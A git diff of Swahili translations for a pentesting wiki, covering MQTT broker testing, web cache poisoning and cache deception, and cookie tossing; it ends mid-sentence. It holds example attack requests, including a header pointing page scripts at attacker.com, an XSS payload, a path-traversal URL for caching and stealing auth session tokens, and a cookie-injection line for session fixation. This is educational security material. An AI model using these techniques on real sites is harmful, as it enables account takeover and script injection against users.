diff --git a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 5d78d8f4f..5ec4f4088 100644 --- a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -4,7 +4,7 @@ ## Basic Information -**MQ Telemetry Transport (MQTT)** inajulikana kama **protocol ya ujumbe ya kuchapisha/kujiunga** ambayo inajitokeza kwa urahisi wake mkubwa na mwanga. Protocol hii imeandaliwa mahsusi kwa mazingira ambapo vifaa vina uwezo mdogo na vinafanya kazi juu ya mitandao ambayo ina sifa za upana wa bendi wa chini, ucheleweshaji mkubwa, au muunganisho usio na uhakika. Malengo makuu ya MQTT ni pamoja na kupunguza matumizi ya upana wa bendi ya mtandao na kupunguza mahitaji ya rasilimali za kifaa. Aidha, inakusudia kudumisha mawasiliano ya kuaminika na kutoa kiwango fulani cha uhakikisho wa usambazaji. Malengo haya yanaufanya MQTT kuwa mzuri sana kwa uwanja unaokua wa **mawasiliano ya mashine kwa mashine (M2M)** na **Internet of Things (IoT)**, ambapo ni muhimu kuunganisha vifaa vingi kwa ufanisi. Zaidi ya hayo, MQTT ni faida kubwa kwa programu za simu, ambapo kuhifadhi upana wa bendi na maisha ya betri ni muhimu. +**MQ Telemetry Transport (MQTT)** inajulikana kama **protocol ya ujumbe ya kuchapisha/kujiandikisha** ambayo inajitokeza kwa urahisi wake mkubwa na mwanga. Protocol hii imeandaliwa mahsusi kwa mazingira ambapo vifaa vina uwezo mdogo na vinatumika kwenye mitandao ambayo ina sifa za upana wa bendi wa chini, ucheleweshaji mkubwa, au muunganisho usio na uhakika. Malengo makuu ya MQTT ni pamoja na kupunguza matumizi ya upana wa bendi ya mtandao na kupunguza mahitaji kwenye rasilimali za kifaa. Aidha, inakusudia kudumisha mawasiliano ya kuaminika na kutoa kiwango fulani cha uhakikisho wa usambazaji. Malengo haya yanaufanya MQTT kuwa mzuri sana kwa uwanja unaokua wa **mawasiliano ya mashine-kwa-mashine (M2M)** na **Internet of Things (IoT)**, ambapo ni muhimu kuunganisha vifaa vingi kwa ufanisi. Zaidi ya hayo, MQTT ni faida kubwa kwa programu za simu, ambapo kuhifadhi upana wa bendi na maisha ya betri ni muhimu. **Default port:** 1883 ``` @@ -13,9 +13,9 @@ PORT STATE SERVICE REASON ``` ## Kukagua trafiki -Wakati pakiti ya **CONNECT** inapopokelewa na wakala wa MQTT, pakiti ya **CONNACK** inatumwa nyuma. Pakiti hii ina nambari ya kurudi ambayo ni muhimu kwa kuelewa hali ya muunganisho. Nambari ya kurudi ya **0x00** inamaanisha kwamba akreditivu zimekubaliwa, ikionyesha muunganisho uliofanikiwa. Kwa upande mwingine, nambari ya kurudi ya **0x05** inaashiria kwamba akreditivu si halali, hivyo kuzuia muunganisho. +Wakati pakiti ya **CONNECT** inapopokelewa na wakala wa MQTT, pakiti ya **CONNACK** inatumwa nyuma. Pakiti hii ina nambari ya kurudi ambayo ni muhimu kwa kuelewa hali ya muunganisho. Nambari ya kurudi ya **0x00** inamaanisha kwamba ithibitisho zimekubaliwa, ikionyesha muunganisho uliofanikiwa. Kwa upande mwingine, nambari ya kurudi ya **0x05** inaashiria kwamba ithibitisho si sahihi, hivyo kuzuia muunganisho. -Kwa mfano, ikiwa wakala atakataa muunganisho kutokana na akreditivu zisizo halali, hali hiyo itakuwa kama ifuatavyo: +Kwa mfano, ikiwa wakala atakataa muunganisho kutokana na ithibitisho zisizo sahihi, hali hiyo itakuwa kama ifuatavyo: ``` { "returnCode": "0x05", @@ -28,7 +28,7 @@ Kwa mfano, ikiwa wakala atakataa muunganisho kutokana na akreditivu zisizo halal ## Pentesting MQTT -**Uthibitisho ni wa hiari kabisa** na hata kama uthibitisho unafanywa, **sifuri hazitumiki kwa chaguo-msingi** (taarifa za kuingia zinatumwa kwa maandiko wazi). Mashambulizi ya MITM bado yanaweza kufanywa kuiba nywila. +**Uthibitisho ni wa hiari kabisa** na hata kama uthibitisho unafanywa, **sifuri hazitumiki kwa kawaida** (taarifa za kuingia zinatumwa kwa maandiko wazi). Mashambulizi ya MITM bado yanaweza kufanywa ili kuiba nywila. Ili kuungana na huduma ya MQTT unaweza kutumia: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) na jiandikishe kwa mada zote ukifanya: ``` @@ -73,22 +73,18 @@ client.loop_start() if __name__ == "__main__": main() ``` -## Taarifa zaidi - -from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) - ### Mfano wa Kuchapisha/Kusajili Mfano wa kuchapisha/kusajili unajumuisha: - **Mchapishaji**: anachapisha ujumbe kwenye mada moja (au nyingi) katika broker. - **Mwanachama**: anasajili kwenye mada moja (au nyingi) katika broker na kupokea ujumbe wote wanaotumwa na mchapishaji. -- **Broker**: inapeleka ujumbe wote kutoka kwa wachapishaji hadi kwa wanachama. +- **Broker**: inaratibu ujumbe wote kutoka kwa wachapishaji hadi kwa wanachama. - **Mada**: inajumuisha ngazi moja au zaidi ambazo zimegawanywa na slash ya mbele (mfano, /smartshouse/livingroom/temperature). ### Muundo wa Paket -Kila paket ya MQTT ina kichwa kisichobadilika (Mchoro 02).Mchoro 02: Kichwa Kisichobadilika +Kila paket ya MQTT ina kichwa kisichobadilika (Mchoro 02). Mchoro 02: Kichwa Kisichobadilika ![https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png) @@ -101,9 +97,9 @@ Kila paket ya MQTT ina kichwa kisichobadilika (Mchoro 02).Mchoro 02: Kichwa Kisi - PUBREC (5): Sehemu ya itifaki ya usambazaji wa ujumbe inayoakikisha ujumbe umepokelewa. - PUBREL (6): Uhakikisho zaidi katika usambazaji wa ujumbe, ikionyesha kutolewa kwa ujumbe. - PUBCOMP (7): Sehemu ya mwisho ya itifaki ya usambazaji wa ujumbe, ikionyesha kukamilika. -- SUBSCRIBE (8): Ombi la mteja kusikiliza ujumbe kutoka mada. +- SUBSCRIBE (8): Ombi la mteja kusikiliza ujumbe kutoka kwa mada. - SUBACK (9): Kuthibitisha kwa seva kuhusu ombi la SUBSCRIBE. -- UNSUBSCRIBE (10): Ombi la mteja kusitisha kupokea ujumbe kutoka mada. +- UNSUBSCRIBE (10): Ombi la mteja kusitisha kupokea ujumbe kutoka kwa mada. - UNSUBACK (11): Jibu la seva kwa ombi la UNSUBSCRIBE. - PINGREQ (12): Ujumbe wa moyo unaotumwa na mteja. - PINGRESP (13): Jibu la seva kwa ujumbe wa moyo. diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index fda49b5c6..3c373fe58 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -17,13 +17,13 @@ Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa: 1. **Utambuzi wa Ingizo Lisilo na Funguo**: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache. 2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji. -3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa Katika Cache**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa. +3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa. ### Ugunduzi: Angalia vichwa vya HTTP -Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinachoonyesha hivyo**, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinachoashiria hivyo**, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Ugunduzi: K codes za makosa ya caching +### Ugunduzi: Kihesabu makosa ya caching Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **kodi ya hali 400**. Kisha jaribu kufikia ombi kawaida na ikiwa **jibu ni kodi ya hali 400**, unajua ni hatari (na unaweza hata kufanya DoS). @@ -37,33 +37,33 @@ Hata hivyo, kumbuka kwamba **wakati mwingine aina hizi za kodi za hali hazihifad ### Ugunduzi: Tambua na tathmini vigezo visivyo na funguo -Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) ili **kufanya brute-force vigezo na vichwa** ambavyo vinaweza kuwa **vinabadilisha jibu la ukurasa**. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa `X-Forwarded-For` kuonyesha mteja kupakua script kutoka pale: +Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) ili **kufanya brute-force vigezo na vichwa** ambavyo vinaweza kuwa **vinabadilisha jibu la ukurasa**. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa `X-Forwarded-For` kuashiria mteja kupakua script kutoka hapo: ```html ``` -### Elicit a harmful response from the back-end server +### Pata jibu hatari kutoka kwa seva ya nyuma -With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) +Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na wapi inavyoakisi au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakue msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...) -### Get the response cached +### Pata jibu lililohifadhiwa -Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds. +Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya kuifanya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa. -The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ -The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` +Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati imehifadhiwa.\ +Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa mara ya pili rasilimali hiyo itahifadhiwa tena: `Cache-Control: public, max-age=1800` -Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. +Header nyingine ya kuvutia ni **`Vary`**. Header hii mara nyingi hutumiwa ku **onyesha headers za ziada** ambazo zinachukuliwa kama **sehemu ya ufunguo wa cache** hata kama kawaida hazihusishwi. Hivyo, ikiwa mtumiaji anajua `User-Agent` wa mwathirika anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia `User-Agent` hiyo maalum. -One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. +Header nyingine inayohusiana na cache ni **`Age`**. Inafafanua muda kwa sekunde ambao kitu kimekuwa kwenye cache ya proxy. -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza **kutumika bila kutarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Upoaji wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi. -## Exploiting Examples +## Mifano ya Kutumia -### Easiest example +### Mfano rahisi zaidi -A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ -You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: +Header kama `X-Forwarded-For` inakisiwa katika jibu bila kusafishwa.\ +Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -77,9 +77,17 @@ _Note that this will poison a request to `/en?region=uk` not to `/en`_ cache-poisoning-to-dos.md {{#endref}} +### Cache poisoning through CDNs + +In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** inelezwa hali rahisi ifuatayo: + +- CDN itahifadhi chochote kilicho chini ya `/share/` +- CDN HAIta decode wala kunormalize `%2F..%2F`, hivyo, inaweza kutumika kama **path traversal kuaccess maeneo mengine nyeti ambayo yatakuwa cached** kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- Web server ITAdecode na kunormalize `%2F..%2F`, na itajibu na `/api/auth/session`, ambayo **ina token ya uthibitishaji**. + ### Using web cache poisoning to exploit cookie-handling vulnerabilities -Cookies zinaweza pia kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lililo na uharibifu. +Cookies pia zinaweza kuonyeshwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lililo na uharibifu. ```html GET / HTTP/1.1 Host: vulnerable.com @@ -97,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md ### Kuambukiza cache kwa kutumia njia ya kupita ili kuiba funguo za API -[**Hii inayoandikwa inaelezea**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitahifadhiwa bila Cloudflare kuandika URL, ambayo ilifanywa wakati ombi lilipofika kwenye seva ya wavuti. +[**Andiko hili linaelezea**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitakuwa kimehifadhiwa bila Cloudflare kuirekebisha URL, ambayo ilifanyika wakati ombi lilipofika kwenye seva ya wavuti. Hii pia inaelezwa vizuri zaidi katika: @@ -107,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md ### Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti -Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha. +Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **peleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya uelekeo. Unaweza kudhibiti mahali ukurasa unapoelekezwa na uelekeo. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -116,7 +124,7 @@ X-Forwarded-Scheme: http ``` ### Kutumia kwa kutumia kichwa kidogo cha `Vary` -Ikiwa umebaini kwamba kichwa cha **`X-Host`** kinatumika kama **jina la kikoa kupakia rasilimali ya JS** lakini kichwa cha **`Vary`** katika jibu kinaonyesha **`User-Agent`**. Basi, unahitaji kutafuta njia ya kuhamasisha User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo: +Ikiwa umebaini kwamba kichwa cha **`X-Host`** kinatumika kama **jina la kikoa kupakia rasilimali ya JS** lakini kichwa cha **`Vary`** katika jibu kinaonyesha **`User-Agent`**. Basi, unahitaji kutafuta njia ya kutoa User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -125,7 +133,7 @@ X-Host: attacker.com ``` ### Fat Get -Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika vuln ambayo James Kettle alipata kwenye tovuti ya Github: +Tuma ombi la GET pamoja na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika udhaifu ambao James Kettle alipata kwenye tovuti ya Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -144,7 +152,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -Jifunze hapa jinsi ya kufanya [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). +Jifunze hapa jinsi ya kutekeleza [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). ### Automated testing for Web Cache Poisoning @@ -156,7 +164,7 @@ Example usage: `wcvs -u example.com` ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia tu mwenyeji, njia na swali (ikikosa kipande). Hivyo ombi `/#/../?r=javascript:alert(1)` lilitumwa kwa backend kama `/#/../?r=javascript:alert(1)` na ufunguo wa cache haukuwa na payload ndani yake, tu mwenyeji, njia na swali. +ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia mwenyeji, njia na swali tu (ikikosa kipande). Hivyo ombi `/#/../?r=javascript:alert(1)` lilitumwa kwa backend kama `/#/../?r=javascript:alert(1)` na ufunguo wa cache haukuwa na payload ndani yake, tu mwenyeji, njia na swali. ### GitHub CP-DoS @@ -168,15 +176,15 @@ GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. **GCP Buckets** inasai ### Rack Middleware (Ruby on Rails) -Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji aliyetajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama. +Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipanga kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uelekeo wa 301 unafanyika kwa eneo hilo hilo, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwarudisha watumiaji kwa mwenyeji ulioainishwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama. ### 403 and Storage Buckets -Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa kichwa kisichofaa cha Uidhinishaji kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za proxy. +Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa kichwa kisicho sahihi cha Uidhinishaji kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma nyingine za proxy. ### Injecting Keyed Parameters -Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa URL. Kuandika URL ya pili ya parameter ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa. +Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyowekwa URL. Kuweka URL-encoding kwenye parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa. ### User Agent Rules @@ -194,7 +202,7 @@ The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the accep Lengo la Cache Deception ni kufanya wateja **kupakia rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti**. -Kwanza kabisa, kumbuka kwamba **extensions** kama vile `.css`, `.js`, `.png` n.k. mara nyingi **zimewekwa** kuhifadhiwa katika **cache.** Hivyo, ikiwa unafikia `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona **extension** ya `.js`. Lakini, ikiwa **programu** inajibu na **maudhui** nyeti ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine. +Kwanza kabisa, kumbuka kwamba **extensions** kama vile `.css`, `.js`, `.png` n.k. mara nyingi **zimepangwa** kuhifadhiwa katika **cache.** Hivyo, ikiwa unapata `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona **extension** ya `.js`. Lakini, ikiwa **programu** inajibu na **maudhui** nyeti ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine. Mambo mengine ya kujaribu: @@ -205,13 +213,13 @@ Mambo mengine ya kujaribu: - _www.example.com/profile.php/%2e%2e/test.js_ - _Tumia extensions zisizojulikana kama_ `.avif` -Mfano mwingine wazi unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -Katika mfano, inaelezwa kwamba ikiwa unaleta ukurasa usio na uwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**pamoja na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\ +Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +Katika mfano, inaelezwa kwamba ikiwa unapata ukurasa usio na kuwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**ikiwa na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\ Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuona **taarifa za siri** za watumiaji ambao walifika hapo awali. -Kumbuka kwamba **cache proxy** inapaswa kuwa **imewekwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_). +Kumbuka kwamba **cache proxy** inapaswa **kupangwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_). -Jifunze hapa jinsi ya kufanya [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). +Jifunze hapa jinsi ya kutekeleza [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). ## Automatic Tools diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md index 5ed49c654..514603361 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -9,14 +9,15 @@ Ikiwa mshambuliaji anaweza **kudhibiti subdomain au domain ya kampuni au kupata Kama ilivyosemwa katika sehemu ya Cookies Hacking, wakati **cookie imewekwa kwa domain (ikiwekwa wazi) itatumika katika domain na subdomains.** > [!CAUTION] -> Hivyo, **mshambuliaji ataweza kuweka cookie maalum kwa domain na subdomains akifanya kitu kama** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` +> Kwa hivyo, **mshambuliaji atakuwa na uwezo wa kuweka cookie maalum kwa domain na subdomains akifanya kitu kama** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` Hii inaweza kuwa hatari kwani mshambuliaji anaweza: - **Kuweka cookie ya mwathirika kwa akaunti ya mshambuliaji** hivyo ikiwa mtumiaji hataona, **atafanya vitendo katika akaunti ya mshambuliaji** na mshambuliaji anaweza kupata taarifa za kuvutia (angalia historia ya utafutaji wa mtumiaji katika jukwaa, mwathirika anaweza kuweka kadi yake ya mkopo katika akaunti...) +- Mfano wa hili [unaweza kupatikana hapa](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) ambapo mshambuliaji aliweka cookie yake katika sehemu maalum ambazo mwathirika atatumia kuidhinisha **ufikiaji wa repos zake za git lakini kutoka kwa akaunti ya mshambuliaji** kwani atakuwa akipanga cookies zake katika maeneo yanayohitajika. - Ikiwa **cookie haibadiliki baada ya kuingia**, mshambuliaji anaweza tu **kuweka cookie (session-fixation)**, kusubiri hadi mwathirika aingie na kisha **atumie cookie hiyo kuingia kama mwathirika**. -- Wakati mwingine, hata kama cookie za kikao zinabadilika, mshambuliaji hutumia ile ya awali na atapata mpya pia. -- Ikiwa **cookie inaweka thamani ya awali** (kama katika flask ambapo **cookie** inaweza **kuweka** **CSRF token** ya kikao na thamani hii itadumishwa baada ya mwathirika kuingia), **mshambuliaji anaweza kuweka thamani hii inayojulikana na kisha kuitumia** (katika hali hiyo, mshambuliaji anaweza kumfanya mtumiaji afanye ombi la CSRF kwani anajua CSRF token). +- Wakati mwingine, hata kama cookies za kikao zinabadilika, mshambuliaji hutumia ile ya awali na atapata mpya pia. +- Ikiwa **cookie inaweka thamani fulani ya awali** (kama katika flask ambapo **cookie** inaweza **kuweka** **CSRF token** ya kikao na thamani hii itadumishwa baada ya mwathirika kuingia), **mshambuliaji anaweza kuweka thamani hii inayojulikana na kisha kuitumia** (katika hali hiyo, mshambuliaji anaweza kumfanya mtumiaji afanye ombi la CSRF kwani anajua CSRF token). - Kama vile kuweka thamani, mshambuliaji pia anaweza kupata cookie isiyo na uthibitisho iliyozalishwa na seva, kupata CSRF token kutoka kwake na kuitumia. ### Cookie Order @@ -25,16 +26,16 @@ Wakati kivinjari kinapokea cookies mbili zenye jina sawa **zinazoathiri sehemu s Kulingana na nani ana **njia maalum zaidi** au 